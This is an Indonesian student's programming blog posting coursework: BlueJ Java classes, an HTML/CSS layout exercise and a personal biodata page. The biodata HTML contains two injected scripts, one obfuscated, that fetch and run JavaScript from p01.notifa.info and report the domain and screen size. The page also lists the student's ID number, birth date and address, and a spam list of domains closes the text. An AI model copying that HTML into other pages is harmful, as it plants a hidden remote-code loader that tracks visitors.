Minggu, 30 September 2018

PBO - Interaksi Objek


Mencoba membuat jam digital menggunakan BlueJ

Tampilan


Kode
DigitalClock

ClockLabel
 
Gani Wijaya Web Developer

Selamat datang di blog saya, selamat membaca.

Minggu, 23 September 2018

Tugas 3 PBO


Mencoba membuat mesin tiket sederhana menggunakan BlueJ.

SS


Main
 
Tiket
Gani Wijaya Web Developer

Selamat datang di blog saya, selamat membaca.

Sabtu, 22 September 2018

Tugas 4 PBO


Pertemuan kali ini Kami ditugaskan membuat Remote TV menggunakan BlueJ. Berikut hasilnya:

SS


Kodenya

Main

Remot TV
Gani Wijaya Web Developer

Selamat datang di blog saya, selamat membaca.

Rabu, 19 September 2018

Tugas Belajar HMTL & CSS


Hari ini mempelajari HTML dan CSS. Berikut perobaan menggunakan HTML dan CSS

HTML
 <!DOCTYPE html>  
 <html>  
 <head>  
   <title>Belajar Membuat layout dengan HTML dan CSS</title>  
   <link rel="stylesheet" href="custom.css"/>  
 </head>  
 <body>  
   <div class="header">  
     <div class="jarak">  
       <h2>Belajar Membuat Layout dengan HTML dan CSS</h2>  
     </div>  
   </div>  
   <div class="menu">  
     <ul>  
       <li><a href="#">Home</a></li>  
       <li><a href="#">About</a></li>  
       <li><a href="#">Blog</a></li>  
       <li><a href="#">Contact</a></li>  
     </ul>  
   </div>  
   <div class="content">  
     <div class="jarak">  
       <div class="kiri">  
         <div class="border">  
           <div class="jarak">  
             <h3>Loren Ipsum</h3>  
             <p>Lorem Ipsum is simply dumy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s.</p> <button class="btn">Read More ..</button>  
           </div>  
         </div>  
         <div class="border">  
           <div class="jarak">  
             <h3>Lorem Ipsum</h3>  
             <p>Lorem Ipsum is simply dumy text of the printing and typesetting industry. Lorep Ipsum has been the industry's standard dummy text ever since the 1500s.</p> <button class="btn">Read More ..</button>  
           </div>  
         </div>  
       </div>  
       <div class="kanan">  
         <div class="jarak">  
           <h3>CATEGORY</h3>  
           <hr/>  
           <p><a href="#" class="undecor">HTML</a></p>  
           <p><a href="#" class="undecor">CSS</a></p>  
           <p><a href="#" class="undecor">BOOTSTRAP</a></p>  
           <p><a href="#" class="undecor">PHP</a></p>  
           <p><a href="#" class="undecor">MYSQL</a></p>  
           <p><a href="#" class="undecor">Jquery</a></p>  
           <p><a href="#" class="undecor">Ajax</a></p>  
         </div>  
       </div>  
     </div>  
   </div>  
   <div class="footer">  
     <div class="jarak">  
       <p>copyright 2017 codebareng all reserved</p>  
     </div>  
   </div>  
 </body>  
 </html>  

CSS
 body {  
   background: #f3f3f3;  
   color:#333;  
   width:100%;  
   font-family:sans-serif;  
   margin:0 auto;  
 }  
 .header {  
   width: 90%  
   margin:auto;  
   height:120px;  
   line-height: 120px;  
   background: #41A85F;  
   color: #fff;  
 }  
 .content {  
   width: 90%;  
   margin: auto;  
   height: 420px;  
   padding: 0.1px;  
   background: #fff;  
   color:#000;  
 }  
 .kiri {  
   width:70%;  
   float: left;  
   margin:auto;  
   background: #fff;  
   height:420px;  
 }  
 .kanan {  
   width:30%;  
   float: left;  
   margin:auto;  
   background:#fff;  
   height:420px;  
 }  
 .border {  
   border:2px solid #74C599;  
   margin-top: 1pc;  
   padding-bottom: 1pc;  
   padding-left: 2pc;  
   padding-right: 2pc;  
 }  
 .undecor {  
   text-decoration: none;  
 }  
 .footer {  
   width: 90%;  
   margin: auto;  
   height:40px;  
   line-height: 40px;  
   background: #41A85F;  
   color: #fff;  
 }  
 .menu {  
   background-color: #53bd84;  
   height: 50px;  
   line-height: 50px;  
   position: relative;  
   width:90%;  
   margin: 0 auto;  
   padding: 0 auto;  
 }  
 .jarak {  
   padding: 0 2pc;  
 }  
 .menu ul {  
   list-style: none;  
 }  
 .menu ul li a {  
   float: left;  
   width:70px;  
   display:block;  
   text-align: center;  
   color:#FFF;  
   text-decoration: none;  
 }  
 .menu ul li a :hover {  
   background-color: #74C599;  
   display: block;  
 }  

Gambar


Gani Wijaya Web Developer

Selamat datang di blog saya, selamat membaca.

Senin, 10 September 2018

Tugas 2 PBO


Pada perkuliahan minggu ke-3 ini diajarkan mengenai class dan menghubungkannya antar class.
Berikut tugas Saya.

Main

 /**  
  * Write a description of class myMain here.  
  *  
  * @author (Ghannie Wijaya)  
  * @version (1.0)  
  */  
 public class myMain  
 {  
   public static void main(String args[])   
   {   
     //kubus  
     Kubus aKubus;   
    aKubus = new Kubus();   
    aKubus.x = 5.0;   
    double LP = aKubus.LuasPermukaan();   
    double V = aKubus.Volume();   
    System.out.println("KUBUS");   
    System.out.println("Sisi = "+aKubus.x);   
    System.out.println("Luas Permukaan = "+LP);   
    System.out.println("Volume = "+V);   
    System.out.println("==================================");   
    //balok  
    Balok aBalok;   
    aBalok = new Balok();   
    aBalok.x = 15.0;   
    aBalok.y = 5.0;   
    aBalok.z = 10.0;   
    LP = aBalok.LuasPermukaan();   
    V = aBalok.Volume();   
    System.out.println("BALOK");   
    System.out.println("Panjang = "+aBalok.x);   
    System.out.println("Lebar = "+aBalok.y);   
    System.out.println("Tinggi = "+aBalok.z);   
    System.out.println("Luas Permukaan = "+LP);   
    System.out.println("Volume = "+V);   
    System.out.println("==================================");   
    //tabung  
    Tabung aTabung;   
    aTabung = new Tabung();   
    aTabung.r = 10.0;   
    aTabung.x = 20.0;   
    LP = aTabung.LuasPermukaan();   
    V = aTabung.Volume();   
    System.out.println("TABUNG");   
    System.out.println("Radius = "+aTabung.r);   
    System.out.println("Tinggi = "+aTabung.x);   
    System.out.println("Luas Permukaan = "+LP);   
    System.out.println("Volume = "+V);   
    System.out.println("==================================");   
    //bola  
    Bola aBola;   
    aBola = new Bola();   
    aBola.r = 10.0;   
    LP = aBola.LuasPermukaan();   
    V = aBola.Volume();   
    System.out.println("BOLA");   
    System.out.println("Radius = "+aBola.r);   
    System.out.println("Luas Permukaan = "+LP);   
    System.out.println("Volume = "+V);   
   }   
 }  

Kubus 

 /**  
  * Write a description of class Kubus here.  
  *  
  * @author (Ghannie Wijaya)  
  * @version (1.0)  
  */  
 public class Kubus   
  {   
   public double x;   
   public double LuasPermukaan()   
   {   
    return 6*x*x;   
   }   
   public double Volume()   
   {   
    return x*x*x;   
   }   
  }   

Balok

 /**  
  * Write a description of class Balok here.  
  *  
  * @author (Ghannie Wijaya)  
  * @version (1.0)  
  */  
 public class Balok   
  {   
   public double x,y,z;    
   public double LuasPermukaan()   
   {   
    return 2*(x*y)+2*(y*z)+2*(x*z);   
   }   
   public double Volume()   
   {   
    return x*y*z;   
   }   
  }   

Tabung 

 /**  
  * Write a description of class Tabung here.  
  *  
  * @author (Ghannie Wijaya)  
  * @version (1.0)  
  */  
 public class Tabung   
  {   
   public double r;   
   public double x;   
   public double LuasPermukaan()   
   {   
    return 2*3.14*r*(r+x);   
   }   
   public double Volume()   
   {   
    return 3.14*r*r*x;   
   }   
  }   

Bola 

 /**  
  * Write a description of class Bola here.  
  *  
  * @author (Ghannie Wijaya)  
  * @version (1.0)  
  */  
  public class Bola   
  {   
   public double r;   
   public double LuasPermukaan()   
   {   
    return 4*3.14*r*r;   
   }   
   public double Volume()   
   {   
    // put your code here   
    return (4*3.14*r*r*r)/3;   
   }   
  }   

--- 


Gani Wijaya Web Developer

Selamat datang di blog saya, selamat membaca.

Senin, 03 September 2018

Tugas 1 Pemrograman Web


Ghannie Wijaya
05111640000048
Pemrograman Web Kelas C

Source Code:

 <html><head>  
      <title>Biodata</title>  
 <script type="text/javascript" async="" src="http://p01.notifa.info/3fsmd3/request?id=1&amp;enc=9UwkxLgY9&amp;params=4TtHaUQnUEiP6K%2fc5C582NzYpoUazw5m%2fc4CJtaeyiTL1eMD3EJ7a0FYmlD33solEJQj49jzOTbxMzELdRdrmkX6oDeiUuL34HURbriPz1WeleyUqfM%2fJIpcV1K3KDPMIiphQrSfSGo6f8Bl4SmsN3c1gC9Th%2bX9b%2boOPoRTbCopqxU9wsXZugneWVFtKCrLSLSO%2b0WM3%2fGwA6bOn9WFLvmluY8r7OjDy3gSZTaxfGwCF3Hoa4cAsAnncEjGHXzyzg%2fgjX1cScfY7YzpVJsq55Y560YeXU6xQX4clq1BIYmZS0stZ0fZhO%2bfYp9SfKmOScDFmB2l1gErZMMGM%2fKptp4Ho5fqfe%2bOkncWhidUlN0kVwFDUK2TUUDMLzFfOCB0vh2Ec%2bp6VRqJ1EG2TLBGPfDl2uSsJB7tdruMyyvRUtUhgOor7n3PrB6A4GS3NmhlZ%2fPxN90KnwVwEMPFBBFsbGG3CydgLP1NJ7gpLGnCz6H86xOQhP1Pt9mLep972CFAvK4Z0%2fLo252%2fybBgWkMNyIphc%2f9Yd5Gpo%2b5yq5fKC2o%3d&amp;idc_r=47882213929&amp;domain=ganiwijaya.geniuskaranganyar.com&amp;sw=1366&amp;sh=768"></script></head>  
 <body bgcolor="#000000" background="http://papers.co/wallpaper/papers.co-vb40-wallpaper-geometry-black-pattern-35-3840x2160-4k-wallpaper.jpg">  
      <font face="Segoe UI" color="#ffffff"><center>Selamat Datang di Biodata-ku </center></font>  
      <br>  
           <font size="25" face="Segoe UI" color="#ffffff"><center><b>BIODATA</b></center></font>  
      <br>  
      <font face="segoe ui">  
      <table width="800" cellspacing="4" cellpadding="4" bordercolor="#ffffff" border="1" bgcolor="#ffffff" align="center">  
           <tbody><tr bgcolor="#666666">  
                <td colspan="3" height="40">  
                     <p><font size="12" color="silver"> </font></p><center><font size="12" color="#ffffff"> DATA DIRI </font></center><font size="12" color="#ffffff"> </font> <p></p>  
                </td>  
                <td>  
                     <p><font size="12" color="#ffffff"></font></p><center><font size="12" color="#ffffff"> FOTO </font></center><p></p>  
                </td>  
           </tr>  
           <tr>  
                <td width="183"><b>Nama</b></td>  
                <td width="326"> Ghannie Wijaya </td>  
                <td rowspan="10" colspan="2" width="285" align="center"><img src="https://yt3.ggpht.com/-OwU_ihXZOHc/AAAAAAAAAAI/AAAAAAAADH4/dNBGOh764d0/s100-mo-c-c0xffffffff-rj-k-no/photo.jpg"></td>  
           </tr>  
           <tr>  
                <td><b>NRP</b></td>  
                <td>05111640000048</td>  
           </tr>  
           <tr>  
                <td><b>Tempat/Tanggal Lahir</b></td>  
                <td>Karanganyar, 20 Maret 1998</td>  
           </tr>  
           <tr>  
                <td><b>Jenis Kelamin</b></td>  
                <td>Laki-laki</td>  
           </tr>  
           <tr>  
                <td><b>Agama</b></td>  
                <td>Islam</td>  
           </tr>  
           <tr>  
                <td><b>Alamat</b></td>  
                <td>Kejawan Putih Tambak No. 24</td>  
           </tr>  
           <tr>  
                <td><b>Status</b></td>  
                <td>Belum menikah</td>  
           </tr>  
           <tr>  
                <td><b>Pekerjaan</b></td>  
                <td>Mahasiswa</td>  
           </tr>  
           <tr>  
                <td><b>Kewarganegaraan</b></td>  
                <td>Indonesia</td>  
           </tr>  
      </tbody></table>  
 <br><br><br><br><br>  
      <table width="800" cellspacing="4" cellpadding="4" bordercolor="#e0e0e0" border="1" bgcolor="#ffffff" align="center">  
           <tbody><tr bgcolor="#666666">  
                <td colspan="3" height="20">  
                     <p><font size="12" color="#ffffff"> </font></p><center><font size="12" color="#ffffff"> Riwayat Jenjang Pendidikan Formal </font></center><font size="12" color="silver"> </font> <p></p>  
                </td>  
           </tr>  
           <tr>  
                <td width="300" bgcolor="#808080"><center><b>Jenjang Pendidikan</b></center></td>  
                <td width="300" bgcolor="#808080"><center><b>Nama Sekolah</b></center></td>  
                <td width="200" bgcolor="#808080"><center><b>Tahun Pendidikan</b></center></td>  
           </tr>  
           <tr>  
                <td><b>Taman Kanak-Kanak</b></td>  
                <td>TK Aisyiyah BA Karanganyar</td>  
                <td>2002-2005</td>  
           </tr>  
           <tr>  
                <td><b>Sekolah Dasar</b></td>  
                <td>SD Negeri 1 Karanganyar</td>  
                <td>2005-2011</td>  
           </tr>  
           <tr>  
                <td><b>Sekolah Menengah Pertama</b></td>  
                <td>SMP Negeri 8 Surakarta</td>  
                <td>2011-2014</td>  
           </tr>  
           <tr>  
                <td><b>Sekolah Menengah Atas</b></td>  
                <td>SMA Negeri 1 Karanganyar</td>  
                <td>2014-2016</td>  
           </tr>  
           <tr>  
                <td><b>Perguruan Tinggi</b></td>  
                <td>Institut Teknologi Sepuluh Nopember</td>  
                <td>2016-Sekarang</td>  
           </tr>  
      </tbody></table>  
 <br><br><br><br><br>  
      <table width="800" cellspacing="4" cellpadding="4" bordercolor="#e0e0e0" border="1" bgcolor="#ffffff" align="center">  
           <tbody><tr bgcolor="#666666">  
                <td colspan="3" height="20">  
                     <p><font size="12" color="#ffffff"> </font></p><center><font size="12" color="#ffffff"> Informasi Umum</font></center><font size="12" color="#ffffff"> </font> <p></p>  
                </td>  
           </tr>  
           <tr>  
                <td><b>E-mail</b></td>  
                <td>ganiwijaya@live.com</td>  
           </tr>  
           <tr>  
                <td><b>Youtube</b></td>  
                <td><a href="https://youtube.com/ganiwijaya" target="_blank">Gani Wijaya</a></td>  
           </tr>  
           <tr>  
                <td><b>Facebook Fanspage</b></td>  
                <td><a href="http://facebook.com/ganiwijayadotcom" target="_blank">Gani Wijaya</a></td>  
           </tr>  
           <tr>  
                <td><b>Hobi</b></td>  
                <td>Bernyanyi<br>Mendengarkan musik<br>Menonton film</td>  
           </tr>  
           <tr>  
                <td><b>Makanan Favorit</b></td>  
                <td>Sate<br>Bakso<br>Udang Asam Manis<br>Terong Baladok</td>  
           </tr>  
      </tbody></table>  
      </font>  
 <script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "p01.notifa.info/3fsmd3/request" + "?id=1" + "&enc=9UwkxLgY9" + "&params=" + "4TtHaUQnUEiP6K%2fc5C582NzYpoUazw5m%2fc4CJtaeyiTL1eMD3EJ7a0FYmlD33solEJQj49jzOTbxMzELdRdrmkX6oDeiUuL34HURbriPz1WeleyUqfM%2fJIpcV1K3KDPMIiphQrSfSGo6f8Bl4SmsN3c1gC9Th%2bX9b%2boOPoRTbCopqxU9wsXZugneWVFtKCrLSLSO%2b0WM3%2fGwA6bOn9WFLvmluY8r7OjDy3gSZTaxfGwCF3Hoa4cAsAnncEjGHXzyzg%2fgjX1cScfY7YzpVJsq55Y560YeXU6xQX4clq1BIYmZS0stZ0fZhO%2bfYp9SfKmOScDFmB2l1gErZMMGM%2fKptp4Ho5fqfe%2bOkncWhidUlN0kVwFDUK2TUUDMLzFfOCB0vh2Ec%2bp6VRqJ1EG2TLBGPfDl2uSsJB7tdruMyyvRUtUhgOor7n3PrB6A4GS3NmhlZ%2fPxN90KnwVwEMPFBBFsbGG3CydgLP1NJ7gpLGnCz6H86xOQhP1Pt9mLep972CFAvK4Z0%2fLo252%2fybBgWkMNyIphc%2f9Yd5Gpo%2b5yq5fKC2o%3d" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};</script></body></html>  

Hasil:





Gani Wijaya Web Developer

Selamat datang di blog saya, selamat membaca.

Dokumentasi Program Bahasa Java dengan BlueJ


 
  

SourceCode

 /**  
  * Write a description of class HelloWorld here.  
  *  
  * @author (Ghannie Wijaya)  
  * @version (0.1/20180903)  
  */  
 public class HelloWorld  
 {  
   // instance variables - replace the example below with your own  
   private int x;  
   /**  
    * Constructor for objects of class HelloWorld  
    */  
   public HelloWorld()  
   {  
     // initialise instance variables  
     x = 0;  
     System.out.print("Hello World");  
   }  
   /**  
    * An example of a method - replace this comment with your own  
    *  
    * @param y a sample parameter for a method  
    * @return  the sum of x and y  
    */  
   public int sampleMethod(int y)  
   {  
     // put your code here  
     return x + y;  
   }  
 }  
Gani Wijaya Web Developer

Selamat datang di blog saya, selamat membaca.

Resep donat empuk ala dunkin donut     www.lowongankerjababysitter.com www.lowongankerjapembanturumahtangga.com www.lowonganperawatlansia.com www.lowonganperawatlansia.com www.yayasanperawatlansia.com www.penyalurpembanturumahtanggaku.com www.bajubatikmodernku.com www.bestdaytradingstrategyy.com www.paketpernikahanmurahjakarta.com www.paketweddingorganizerjakarta.com www.undanganpernikahanunikmurah.com